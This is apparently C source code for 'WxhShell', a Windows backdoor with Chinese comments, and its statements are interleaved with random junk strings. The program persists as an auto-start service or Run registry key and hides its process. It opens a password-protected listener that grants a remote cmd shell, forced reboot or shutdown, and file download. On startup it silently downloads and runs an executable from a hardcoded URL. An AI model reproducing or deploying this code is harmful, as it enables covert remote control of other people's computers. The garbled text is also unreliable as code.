Q;h6F{i NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); < 2mbR @Yu=65h if (!NtQueryInformationProcess) return 0; @7}]\}SR !e<D2><^ hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); yJ0q)x sS if(!hProcess) return 0; 3EVAB0/$ F{'lF^Dc if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; $\9M6k' $FJf8u` CloseHandle(hProcess); X~o6Xkg ntZl(] l hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); ]-2Q0wTj if(hProcess==NULL) return 0; bJWPr *vqr+jr9 HMODULE hMod; w>TlM*3D/ char procName[255]; P
{0iEA|k unsigned long cbNeeded; h!zev~u1)` A0A]#=S if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); ~LG<Uu Q7{/ T0 CloseHandle(hProcess); # fe%E. >Ohh)$ if(strstr(procName,"services")) return 1; // 以服务启动 wk@S+Q q+J;^u"E return 0; // 注册表启动 nf2[hx@=U } @5,Xr`] G.B~n>}JU, // 主模块 "C~Zl&3 int StartWxhshell(LPSTR lpCmdLine) b"PRa|] { eKv{N\E SOCKET wsl; i^Ip+J+[ BOOL val=TRUE; Tw]].|^f- int port=0; p*Q *}V struct sockaddr_in door; OH_ m ZA GU,ztO.w3 if(wscfg.ws_autoins) Install(); ZR*Dl.GWY +\yQZ{4'@ port=atoi(lpCmdLine); b9L"?{ 5<RZht$i if(port<=0) port=wscfg.ws_port; J9V,U;"\ `%<^$Ng; WSADATA data; ?]/"AWUX if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; py':UQS*q ;W2Rl%z88 if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; z <jH{AU setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); )d =8)9B door.sin_family = AF_INET; NN"!kuM door.sin_addr.s_addr = inet_addr("127.0.0.1"); @@pI>~#zh door.sin_port = htons(port); wyC1M [:"7B&&A if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { [6}>? closesocket(wsl); {IG5qi?/E) return 1; [39 } L^%jR= tGVC"a if(listen(wsl,2) == INVALID_SOCKET) { P7|x=Ew;` closesocket(wsl); #
M18&ld,r return 1; w\{oOlE } (;T g1$ Wxhshell(wsl); VPI;{0kh WSACleanup(); Uf`~0=w /xh/M@G3 return 0; %7[Z/U= syB.Z-Cpd } E%np-is{1 ]`H8r y2 // 以NT服务方式启动 >oasA2S VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) WcZck{ehd { n~C!PXE DWORD status = 0; b.lK0 Xo DWORD specificError = 0xfffffff; wu`P=- 4PDxmH]y serviceStatus.dwServiceType = SERVICE_WIN32; _I
A{I serviceStatus.dwCurrentState = SERVICE_START_PENDING; qrt2BT) serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; uh
3yiDj@a serviceStatus.dwWin32ExitCode = 0; rhQv,F9 serviceStatus.dwServiceSpecificExitCode = 0; w^N3Ma serviceStatus.dwCheckPoint = 0; o3kVcX^ serviceStatus.dwWaitHint = 0; M_Z(+k{Gy se]q~<& hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); vC|V8ea if (hServiceStatusHandle==0) return; T/Fj0' :I/i"g7< status = GetLastError(); 0k):OVfm= if (status!=NO_ERROR) rFl6xM;F { R0DWjN$j serviceStatus.dwCurrentState = SERVICE_STOPPED; 9S!
2r serviceStatus.dwCheckPoint = 0; V0/O
T~gS8 serviceStatus.dwWaitHint = 0; Lcow2 SbH serviceStatus.dwWin32ExitCode = status; >xK!J?!K serviceStatus.dwServiceSpecificExitCode = specificError; #24eogo~ SetServiceStatus(hServiceStatusHandle, &serviceStatus); V^/]h
u return; S3F8Chk5 } 2GW.'\D EI!e0V1! serviceStatus.dwCurrentState = SERVICE_RUNNING; de$0D fK serviceStatus.dwCheckPoint = 0; +u|p<z serviceStatus.dwWaitHint = 0; =lG/A[66 if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); d@#wK~I } FdFN4{<QZ #s]'2O // 处理NT服务事件,比如:启动、停止 aZBb@~Y VOID WINAPI NTServiceHandler(DWORD fdwControl) l.@&B@5F { Ubf@"B switch(fdwControl) d@IV@'Q7u { ;fl3'.S[ case SERVICE_CONTROL_STOP: "o6a{KY( serviceStatus.dwWin32ExitCode = 0; ]46#u=y~3 serviceStatus.dwCurrentState = SERVICE_STOPPED; F!pgec%]' serviceStatus.dwCheckPoint = 0; ccm(r~lhJ serviceStatus.dwWaitHint = 0; 8P[aX3T7G { l0G sY.~, SetServiceStatus(hServiceStatusHandle, &serviceStatus); O;m@fS2%3 } d&apu{ return; Lj#K^c Ee case SERVICE_CONTROL_PAUSE: Ir\f_>7 serviceStatus.dwCurrentState = SERVICE_PAUSED; Pt^SlX^MM break; 3wf&,4`EX case SERVICE_CONTROL_CONTINUE: JK_(!
serviceStatus.dwCurrentState = SERVICE_RUNNING; ?D8+wj break; @M_p3[c\ case SERVICE_CONTROL_INTERROGATE: " _{o}8L break; GO<,zOqvU }; SE;Yb' SetServiceStatus(hServiceStatusHandle, &serviceStatus); xG"*w@fs7 } <yw(7 | g[iK1 // 标准应用程序主函数 '#Pg:v_ int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 75?z" i { Htn''adg5 dw"{inMf // 获取操作系统版本 ]
lONi OsIsNt=GetOsVer(); H4{CiZ GetModuleFileName(NULL,ExeFile,MAX_PATH); l Taw6; _C nl|' // 从命令行安装 ]sL)[o if(strpbrk(lpCmdLine,"iI")) Install(); wu53e= / JT(6Uf // 下载执行文件 S#{gCc if(wscfg.ws_downexe) { #ssSs]zl if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) O4lHR6M2 WinExec(wscfg.ws_filenam,SW_HIDE); HJ^SqSm } f:hsE YRRsbm{ if(!OsIsNt) { o +KDK{MD // 如果时win9x,隐藏进程并且设置为注册表启动 DITo.PU HideProc(); RF$2p4=[ StartWxhshell(lpCmdLine); Z\. n6 } Nt'6Y;m! else 05PRlz*x= if(StartFromService()) JVxGS{Z // 以服务方式启动 2/F";tc\' StartServiceCtrlDispatcher(DispatchTable); e:uk``\ else IMcuoQ5 // 普通方式启动 R q
|,@ StartWxhshell(lpCmdLine); 4#"_E:;PQ F :p9y_W return 0; 734f&2 } vOQ
3A%/ X"Ca hI>vz"J [@;q#.}Z =========================================== h'm-]v 3Z%~WE;I {a9(
Qi 19j"Zxdg Y 3LW_qX ` G-V
% " o|G[/o2 '^!#*O #include <stdio.h> A}3dx!?7j #include <string.h> hH(w O\s #include <windows.h> !YVGT
< #include <winsock2.h> R(AS$<p{!> #include <winsvc.h> AC&)FY #include <urlmon.h> DmtCEKa \`U=pZJ #pragma comment (lib, "Ws2_32.lib") Mj<T+Ohz #pragma comment (lib, "urlmon.lib")
YG_|L[/# VSjt|F)t #define MAX_USER 100 // 最大客户端连接数 C2} f' #define BUF_SOCK 200 // sock buffer 9_-6Lwj6t #define KEY_BUFF 255 // 输入 buffer Ygq;jX Lvd es.0| #define REBOOT 0 // 重启 K
7OIT2- #define SHUTDOWN 1 // 关机 E< Y!BT[X lW|`8ykp #define DEF_PORT 5000 // 监听端口 c:I %jm Ms
3Sri #define REG_LEN 16 // 注册表键长度 8AQ__&nT #define SVC_LEN 80 // NT服务名长度 [nASMKK0 U!i1~)s // 从dll定义API ^_gH}~l+U typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
35%\"Y? typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); BIh^b?:zU typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); %jJ|4\ typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); hQ ?zc_3 Dbu>rESz // wxhshell配置信息 s[bQO1g;* struct WSCFG { U'aJCM int ws_port; // 监听端口 =}g-N)^ char ws_passstr[REG_LEN]; // 口令 *3\*GatJ int ws_autoins; // 安装标记, 1=yes 0=no |=js!R| char ws_regname[REG_LEN]; // 注册表键名 wZfY~ char ws_svcname[REG_LEN]; // 服务名 T5Iz{Ha char ws_svcdisp[SVC_LEN]; // 服务显示名 MfZamu5+F char ws_svcdesc[SVC_LEN]; // 服务描述信息 sBk|KG char ws_passmsg[SVC_LEN]; // 密码输入提示信息 3Fw7q" int ws_downexe; // 下载执行标记, 1=yes 0=no $0Ys{m char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" A{p_I< char ws_filenam[SVC_LEN]; // 下载后保存的文件名 kvG.?^ v ]P/i}R: }; 4sq](!A [/o BjiBA // default Wxhshell configuration ,N1pw w? struct WSCFG wscfg={DEF_PORT, lVCnu>8 "xuhuanlingzhe", {)(Mkm+d 1, WjguM "Wxhshell", 6 2#@Y-5 "Wxhshell", vmg[/# "WxhShell Service", U(gYx@ "Wrsky Windows CmdShell Service", }kG>6_p? "Please Input Your Password: ", t$
97[ay 1, ,xg-H6Xfa{ "http://www.wrsky.com/wxhshell.exe", gO{$p q} "Wxhshell.exe" Y-lwS-Ii }; l9e=dV:pH aJ@lT&. // 消息定义模块 osc A\r char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; *{,}pK2* char *msg_ws_prompt="\n\r? for help\n\r#>"; _Wq;bKG char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; W[R`],x` char *msg_ws_ext="\n\rExit."; eLLOE)x char *msg_ws_end="\n\rQuit."; YYL3a=;`a char *msg_ws_boot="\n\rReboot..."; O`$\Plt|v char *msg_ws_poff="\n\rShutdown..."; >;l rH& char *msg_ws_down="\n\rSave to "; KrR`A(=WL I@5$ <SN char *msg_ws_err="\n\rErr!"; m&yHtnt char *msg_ws_ok="\n\rOK!"; (|#%omLL [nG[ x|;| char ExeFile[MAX_PATH]; p( )LQT! int nUser = 0; X#Ob^E%J HANDLE handles[MAX_USER]; kZhd^H. int OsIsNt; %g^:0me` X,c`,B03 SERVICE_STATUS serviceStatus; /E3~z0 SERVICE_STATUS_HANDLE hServiceStatusHandle; f|ERZN`uB @-Y,9mM // 函数声明 Rn`DUYg int Install(void); =v0w\(
?N int Uninstall(void); ZvLI~ul(zT int DownloadFile(char *sURL, SOCKET wsh); .4l
cES~ int Boot(int flag); >3*a&_cI=k void HideProc(void); =**Q\Sl int GetOsVer(void); r i)`e int Wxhshell(SOCKET wsl); 24
.'+3 void TalkWithClient(void *cs); ?o`:V|<v int CmdShell(SOCKET sock); 9Fw NX int StartFromService(void); 6y "]2UgQk int StartWxhshell(LPSTR lpCmdLine);
3bJ|L3G 6$kh5$[ VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); XL9-N?(@ VOID WINAPI NTServiceHandler( DWORD fdwControl ); =GW[UnO wCV~9JTJ! // 数据结构和表定义 x<OVtAUB SERVICE_TABLE_ENTRY DispatchTable[] = 7F_N{avr { Bj"fUI!dK {wscfg.ws_svcname, NTServiceMain}, vR>GE?s6 {NULL, NULL} rg=Ym. }; <>Ha<4A
=E 6'x3g2C/ // 自我安装 ^. int Install(void) B#}EYY { o9yUJ@
:i char svExeFile[MAX_PATH]; ]rNxvFN*j HKEY key; a8G<x< strcpy(svExeFile,ExeFile); r:Q=6j, X<pNc6 // 如果是win9x系统,修改注册表设为自启动 US"UkY-\ if(!OsIsNt) { f*IvaY if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { [@B!N+P5; RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); [Q\(kd*4 RegCloseKey(key); a, )/D_{1 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ~=t9-AF- RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); .6I'V3:Kg RegCloseKey(key); Zz]/4 4t return 0; 9'e<{mlM } 1C]BaPbL } }f% Qk0^ } H0yM`7[y else { d0f(U k tA,J~|+f: // 如果是NT以上系统,安装为系统服务 d2)]6)z6 SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); k*C[-5&# if (schSCManager!=0) k7L4~W { pp{GaCi SC_HANDLE schService = CreateService 1'iQlnMO@ ( dWe%6s;
schSCManager, dTlEEgR wscfg.ws_svcname, yF_/.m I wscfg.ws_svcdisp, &&m1_K SERVICE_ALL_ACCESS, yu>;m.e_ SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , MZh?MaBz06 SERVICE_AUTO_START, 57]La^# SERVICE_ERROR_NORMAL, ]{#Xcqx svExeFile, lz1cLl
m NULL, 'A\0^EvVv NULL, Snp(&TD<< NULL, )vg@Kc26 NULL, rY1jC\ NULL :_nGh]% ); ;B(16&l=q if (schService!=0) G `B=:s] { %nE%^Enw CloseServiceHandle(schService); \q24E3zS& CloseServiceHandle(schSCManager); Ex@}x#3 strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); Ir*{IVvej strcat(svExeFile,wscfg.ws_svcname); 'WBhW5@ if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { hstGe>f[6 RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); Tu,nX'q]m RegCloseKey(key); l|vT[X/g return 0; =^l`c$G< } `Hv"^o } ]"YXa~b CloseServiceHandle(schSCManager); U!RIeC } ;TwqZw[. } F[F
NtZ -Ekf T_ return 1; 9 }42s + } 3/(eK%d4Xb qzLD // 自我卸载 *A")A.R int Uninstall(void) De>,i%`Q,D { &zVXd HKEY key; H7<g5pv 1|>bG#| if(!OsIsNt) { [D?d~pB if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { z8)&ekG RegDeleteValue(key,wscfg.ws_regname); wqap~X RegCloseKey(key); ?[WUix; if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 98uMD RegDeleteValue(key,wscfg.ws_regname); YfseX;VX RegCloseKey(key); >%n6n! " return 0; 3vQVk } A8AeM` } +#A~O4%t } iV\*7 else { Eq=JmO'gHs L}_VT
J SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); Z *v`kl if (schSCManager!=0) Z-" NLwt[ { f'qM?GlET SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); Y;dqrA>@ if (schService!=0) oJ#;X R { [i>D|X if(DeleteService(schService)!=0) { ,zJ:a>v CloseServiceHandle(schService); ')2LP;( CloseServiceHandle(schSCManager); W* n|T{n return 0; cA|
n*A-j< } e<~bDFH CloseServiceHandle(schService); -KG1"g,2 } "{~^EQq, CloseServiceHandle(schSCManager); ?/~Q9My } ,XN4Iy#BZl } 1&Mpx!K*T %/_E8GE
return 1; P$@:T[}v } 5B3sRF} 5CH8;sMK // 从指定url下载文件 7x*C`
Et<x int DownloadFile(char *sURL, SOCKET wsh) {"rL3Lk { 4ZYywD wn HRESULT hr; ;:Tb_4Hr char seps[]= "/";
Mi}k>5VT char *token; bJeF1LjS char *file; S]4!uv^y char myURL[MAX_PATH]; ItZ*$I1< char myFILE[MAX_PATH]; k?
,/om1 s>{\^T7y strcpy(myURL,sURL); Z8f?uF token=strtok(myURL,seps); RS2uk7MB while(token!=NULL) tvUC d} { "wxyY^" file=token; Ypinbej token=strtok(NULL,seps); (SA^>r } h66mzV:` c68,,rJO]i GetCurrentDirectory(MAX_PATH,myFILE); 1>umf~%Wa strcat(myFILE, "\\"); O6">Io5 strcat(myFILE, file); fOP3`G^\ send(wsh,myFILE,strlen(myFILE),0); QQ %W3D@ send(wsh,"...",3,0); jm'^>p,9G hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); UI~ hB4V$] if(hr==S_OK) fd&>p return 0; s;[WN. else SXNde@%
{ return 1; |>wGl 02YmV% } \9}DAM_ m.lzkS]P // 系统电源模块 4lwoTGVZj int Boot(int flag) yMpZ-b$*~ { *0_Q0SeE,o HANDLE hToken; v"_E0
3! TOKEN_PRIVILEGES tkp; T5dnj&N ] {??bJRT if(OsIsNt) { xX.{(er OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); _KZTY`/* LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); P]2V~I/X tkp.PrivilegeCount = 1; F4IU2_CnPD tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; RP k'1nD AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); fGWXUJ if(flag==REBOOT) { FJn.V1 if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) &7r a return 0; c IPOI'3d } 1R7tnR@[u else { bYr*rEcA if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) bas1(/|S return 0; gSe3S-Lt } *n6L3"cO } /Zxq-9
else { msQ?V&+< if(flag==REBOOT) { eYevj[c; if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) '($$-P\/ return 0; x~](d8*= } ,vAcri
97 else { QZuKM 'D+ if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) bV+2U return 0; M(n@ytz } N*)O_Ki } 5kojh _\ 5<P6PHdY return 1; {]$ )dz5 } :#D~j]pP 5qFHy[IA // win9x进程隐藏模块 -lR7
@S void HideProc(void) Vlge*4q { R@U4Ae{+ +,j6dYub HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); 3$.#\*s_4 if ( hKernel != NULL ) ?#RhHD { 6h0}ZM pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); I1I-,~hO ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); EK&0Cn3z FreeLibrary(hKernel); `>OKV;~{z } ,H1K sN >]uu?!PU return; hD4>mpk } }$
Kd-cj+ WQbjq}RfI // 获取操作系统版本 |*Oi:)qt int GetOsVer(void) +O.qYX { M27H{}v OSVERSIONINFO winfo; Ul}<@d9: B winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); WdB\n/BWB GetVersionEx(&winfo); ZB}A^X if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) f>|<5zm#< return 1; >]o>iOz;] else UcH#J &r return 0; ? % A2 } mkrVeBp Kmw #Q` // 客户端句柄模块 qw>vu7/z int Wxhshell(SOCKET wsl) *LuRo { ` U-vXP SOCKET wsh; Et0)6^-v struct sockaddr_in client; *adznd DWORD myID; b=U3&CV9 z^s\&gix while(nUser<MAX_USER) @^o7UzS4z { vVrM[0*c int nSize=sizeof(client); upX@8WxR wsh=accept(wsl,(struct sockaddr *)&client,&nSize); o\; hF3 if(wsh==INVALID_SOCKET) return 1; =LGSywWM9 Bf6i{`!G handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); %(W8WLz} if(handles[nUser]==0) FFN Sn closesocket(wsh); X8-x$07) else Uw!d;YQm nUser++; B2a#:E,6 } '@Yp@
_ WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); q]VB}nO g"(@+\XZH" return 0; ~"<^4h } ]>Gi_20*. WuFBt=% // 关闭 socket x 4sIZe+ void CloseIt(SOCKET wsh) scYqU7$%T { @65xn)CD{ closesocket(wsh); >EZZEd nUser--; 4nQ5zwiV ExitThread(0); 9qgs*]J } [HUK
9hG K+XUC // 客户端请求句柄 O&yAFiCd void TalkWithClient(void *cs) .\&k]}0qA? { \=]`X2Ld !pkIaCxs SOCKET wsh=(SOCKET)cs; <;O^3_' char pwd[SVC_LEN]; DdUw~n, char cmd[KEY_BUFF]; )rt%.` char chr[1]; 6}!1a?X int i,j; EWgJ"WTF 4*Gv0#dga while (nUser < MAX_USER) { L F } d :FfEjNil if(wscfg.ws_passstr) { K"&^/[vMB if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); )fxn bBz{ //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); +^&i(7a[? //ZeroMemory(pwd,KEY_BUFF); s=F[.X9lp i=0; DV[FZ while(i<SVC_LEN) { NQX?&9L`r VZ=:`) // 设置超时 `JpFqZ'58 fd_set FdRead; C"B'Dj struct timeval TimeOut; -aS@y.z FD_ZERO(&FdRead); E2YVl%. FD_SET(wsh,&FdRead); ('U TjV TimeOut.tv_sec=8; hliO/3g TimeOut.tv_usec=0; 1X5Yp |Ho int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); )S 4RR2Q> if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); M\ II| ;_j if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); x<Gjr} pwd=chr[0]; *w O~RnP if(chr[0]==0xd || chr[0]==0xa) { $u'"C|>8 pwd=0; hf0(!C* break; 9H/R@i[E } qtozMa i++; 'SoBB: } D4|Ajeo;1 )h&@}#A09 // 如果是非法用户,关闭 socket H!u8+ if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); ,Xfu?Yan } }r,xx{.u7 ~;H,cPvrEg send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); KYJP`va6k send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 1iLo$ .5o~^ while(1) { k'H[aYMA P5oS 1iu* ZeroMemory(cmd,KEY_BUFF); : [328X2 o{fYoBgr // 自动支持客户端 telnet标准 T 4p}5ew' j=0; Z_xQ2uH$: while(j<KEY_BUFF) { Y6H?ZOq if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); +hr|$ cmd[j]=chr[0]; :q*w_*w if(chr[0]==0xa || chr[0]==0xd) { 9T5 F0?qd cmd[j]=0; ncOgSj7e break; ZvT,HJ0? } +h+ 7Q'k j++; [f6BA|
} GdNhEv H1B%}G*Ir- // 下载文件 .R"VLE| if(strstr(cmd,"http://")) { [~
2m*Q send(wsh,msg_ws_down,strlen(msg_ws_down),0); %aMC[i if(DownloadFile(cmd,wsh)) KB|mtsi send(wsh,msg_ws_err,strlen(msg_ws_err),0); .24z+|j else u*P@Nuy6 send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 2&n6:"u| } mHW%:a\L else { p<L{e~{!7f S sW<,T switch(cmd[0]) { 2XeyNX IAwS39B // 帮助 3lZl case '?': {
6A]I" E]5 send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 6d;}mhH break; S%}G 8Ty } Sv /P:r
_ // 安装 N WF h<
case 'i': { X5/fy"g& if(Install()) UH%H9;
,$] send(wsh,msg_ws_err,strlen(msg_ws_err),0); e(
@</W else a
dr\l5pWQ send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); T%6JVFD break; dV
:} } V.*M;T\i // 卸载 &(Fm@ksh\ case 'r': { T\.(e*hC if(Uninstall()) .G\](% send(wsh,msg_ws_err,strlen(msg_ws_err),0); >xS({1A} else cb]X27uww send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 9AhA"+? break; I]W7FZ=o } o^X3YaS)
// 显示 wxhshell 所在路径 \)t//0 case 'p': { iTAj${ > char svExeFile[MAX_PATH]; bHRn}K+<}c strcpy(svExeFile,"\n\r"); tmS2%1o strcat(svExeFile,ExeFile); K 'l-6JY- send(wsh,svExeFile,strlen(svExeFile),0); LJPJENtFIs break; }g-w[w 7p } wMR,r@} // 重启 <dP\vLH_ case 'b': { =l/Dc=[ send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); K
|=o - if(Boot(REBOOT)) ~8nR3ki send(wsh,msg_ws_err,strlen(msg_ws_err),0); oOND]> else { KMy"DVqE closesocket(wsh); ohKoX$|p~ ExitThread(0); oX:&;KA } 8,IF%Z+LI break; BuRsz6n } V':A! // 关机 $%bd`d*S case 'd': { `B3-#!2X send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); CUH u= if(Boot(SHUTDOWN)) lBFKfLp& send(wsh,msg_ws_err,strlen(msg_ws_err),0); myX&Z F_9 else { 59 g//;35@ closesocket(wsh); SF;\*]["f ExitThread(0); 7O*Sg2B } `mteU"{bx break; C=o-3w
} D1-/#QN$1 // 获取shell hR|xUp
case 's': { AYY(<b CmdShell(wsh); h?/E /> closesocket(wsh); "1Hn?4nz5 ExitThread(0); {0F/6GwUC break; Q`8-|(ngw }
N#9N ^#1 // 退出 4_VgJ9@ case 'x': { |g}r send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); iYT?6Y|+ CloseIt(wsh); b`+yNf break; t^MTR6y+8 } vd#)+ // 离开 SPlt=*C#_ case 'q': { [>dDRsZ send(wsh,msg_ws_end,strlen(msg_ws_end),0); C=oeRc'r1W closesocket(wsh); >F7HKwg}Z WSACleanup(); ,rN$ah$CL exit(1); "aKlvK:77 break; EMe1!) } \8ZVI98 } ?0dmw?i } ,(h- <ivG(a*=] // 提示信息 egA*x*8 if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); @0EY5{& } >G!=lLyR } 2jhJXM=~ M {'(+a[ return; i^:#*Q-co } gzhIOeY M __S) // shell模块句柄 '")'h int CmdShell(SOCKET sock) cX1?4e8 { yy/'B:g STARTUPINFO si; NL|c5y<r ZeroMemory(&si,sizeof(si)); <f:(nGj si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 0s//&'*Q si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; v9@_DlV\ PROCESS_INFORMATION ProcessInfo; #w5%^HwO char cmdline[]="cmd"; H1?C:R CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); ;TDvk]: return 0; $ Lfbt=f } 6v scu2 rkWy3X{%2< // 自身启动模式 8*?H~q~ int StartFromService(void) }@
U}c6/ { $D65&R typedef struct :/SGB3gb1t { 1Z_w2D* DWORD ExitStatus; Ux^ue9 DWORD PebBaseAddress; pheu48/f DWORD AffinityMask; \rh+\9( DWORD BasePriority; >mvE[iXRG? ULONG UniqueProcessId; f:P;_/cJc ULONG InheritedFromUniqueProcessId; CaED(0 } PROCESS_BASIC_INFORMATION; 4@F8-V3q4 !a V:T&6 PROCNTQSIP NtQueryInformationProcess; YVF@v-v-, D` cy.},L static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 3zfpFgD! static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; PmsZ=FY mV"F<G; H HANDLE hProcess; Kn1u1@&Xd PROCESS_BASIC_INFORMATION pbi; J<"Z6 '0v 8 *m,# HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); )iIsnM if(NULL == hInst ) return 0; l(3PxbT qD"~5vtLqQ g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); =kq<J-:#R g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 4\V/A+<W NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); @pJ;L1sn 753gcY#i if (!NtQueryInformationProcess) return 0; w0=/V[fs g=v'[JPd
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); -`spu) if(!hProcess) return 0; {<Y!'WL{ d"3x11| if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; ^^uY)AL $mq+/|bn CloseHandle(hProcess); X?r$o>db J1M9), hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); MdkL_YP}. if(hProcess==NULL) return 0; eA(FWO pK>/c>de HMODULE hMod; Zl! char procName[255]; D7thLqA unsigned long cbNeeded; ]$UTMuOQl \Yv44*I` if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); #MMp0 @YS,)U)4S CloseHandle(hProcess); #w^Ot*{!N RWDPsZC if(strstr(procName,"services")) return 1; // 以服务启动 -4J.YF> n0':6*oGW return 0; // 注册表启动 KeyHxU=? } 7Y4D9pw tB}W
